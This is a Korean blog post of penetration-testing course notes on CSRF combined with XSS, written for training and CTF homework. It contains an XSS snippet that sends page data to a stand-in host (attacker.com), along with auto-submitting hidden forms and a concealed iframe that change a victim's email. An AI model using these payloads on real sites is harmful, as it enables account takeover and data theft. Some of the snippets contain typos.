Part.1 CSRF
1. 서버 측 공격 : SQL Injection
2. 클라이언트 측 공격 : XSS -> Client 측 Script
Client Script
지난주에 다른 페이지에 있는 정보를 가져오는 연습을 했다.
XSS : 클라이언트 측 스크립트 삽입 공격
게시판 글을 썼는데 페이지 이동을 한다면 스크립트가 날라간다.
다른 페이지에 존재하는 데이터를 가져오기 위해서는 <iframe></iframe>으로 가져오고 싶은 페이지를 띄운다.
<iframe id='myFrame' src="~~mypage.php"></iframe>
<script>
var myFrame = document.getElementById('myFrame');
var data - myFrame.contentDocument.getElementBy
var i = new Image();
i.src="https://attacker.com/?"+data;
</script>
오늘 주제 : CSRF(Cross Site Request Forgery)
요청을 위조하는 것. 서버로 요청을 하게 만드는 것.
비밀번호를 바꾸는 요청을 하는 링크를 해당 유저가 클릭하는 순간 해당 유저의 비밀번호가 바뀌게 되는 공격
XSS : 사용자에게 script를 실행하면서 공격당하게 하는 기법
CSRF : 피해자가 실제로 서버로 보내는 공격
엄밀히 말하면 둘다 클라이언트측에서 실행되는 공격
Part.2 CSRF(feat.XSS)
Zero Click 으로 공격이 가능해진다. 피해자가 클릭해야하는 링크를 XSS로 실행되게 한다.
CSRF는 어디서 일어나는가? : 요청을 위조하는 공격, 요청을 하게 하는 공격
즉, 모든 요청에서 일어날 수 있다.
취약점 여부는 주관적으로 판단한다. 단순히 게시판 글 조회는 중요하지 않을 수 있다.
게시판 글 수정이 위험하지 않다고 생각한다면 위험하지 않다고 생각해도 된다.
하지만 비밀번호 변경처럼 누가봐도 중요한 것은 취약점이 될 수 있다.
POST method를 공격하는 법 : Form Tag로 할 수 있음. XSS가 하나라도 있으면 문제가 생긴다.
인증정보가 없으면 바로 CSRF라고 생각해서 잡으면 된다.
<h1> click this! </h1>
<form method="POST" action="https://example.com/my-account/change-email" id="myForm">
<input type = "hidden" name="email" value="normal@test.com">
<input type="submit" value="Click Me"/>
<form>
이걸 클릭하게 유도하는 것. 전송 자동화를 할 수 있음
<script>
document.getelementById('myForm').submit();
</script>
한가지 아쉽다면 게시판 클릭했는데 마이페이지로 되는게 문제다.
Part.3 CSRF(feat.XSS)
전송을 자동화를 할 경우 이메일 변경 업데이트 이후 자동으로 마이페이지 리디렉션 되는게 문제다.
결과 값을 iframe으로 보낼 수 있다.
<iframe name="stealthFrame"></iframe>
<form method="POST" action="https://example.com/my-account/change-email" id="myForm" target="stealthFrame">
<input type = "hidden" name="email" value="normal@test.com">
</form>
<iframe>도 안보이게 할 수 있음. <iframe display="none"></iframe> 을 하면 된다.
*Part.4 *
1. 인증 정보가 없는가?
2. POST 방식이라면 GET방식도 적용되는가?
CSRF 토큰 : CSRF 공격을 막기 위해서 만든 랜덤한 토큰
<input type="hidden" name="csrfToken" value="sfsdfadsfsd(랜덤한 값)">
form에 접근할 때 발급하고 확인하는 것
이걸 탈취하는 것도 해야함.
Part.5 과제
1. CSRF 문제 풀이
2. CSRF 문제 풀이 write-up 보고서 작성
설명을 깃들여서 작성한다.
'노말틱 모의해킹' 카테고리의 다른 글
[14주차 강의] Web Shell (1) | 2025.07.16 |
---|---|
[13주차 강의] CORS와 CSRF (3) | 2025.07.09 |
[12주차강의] XSS 기법 - DOM 객체 접근 (1) | 2025.06.25 |
[11주차 강의] XSS로 공격하는 방법 (0) | 2025.06.17 |
[10주차 강의] XSS 개념 (1) | 2025.06.11 |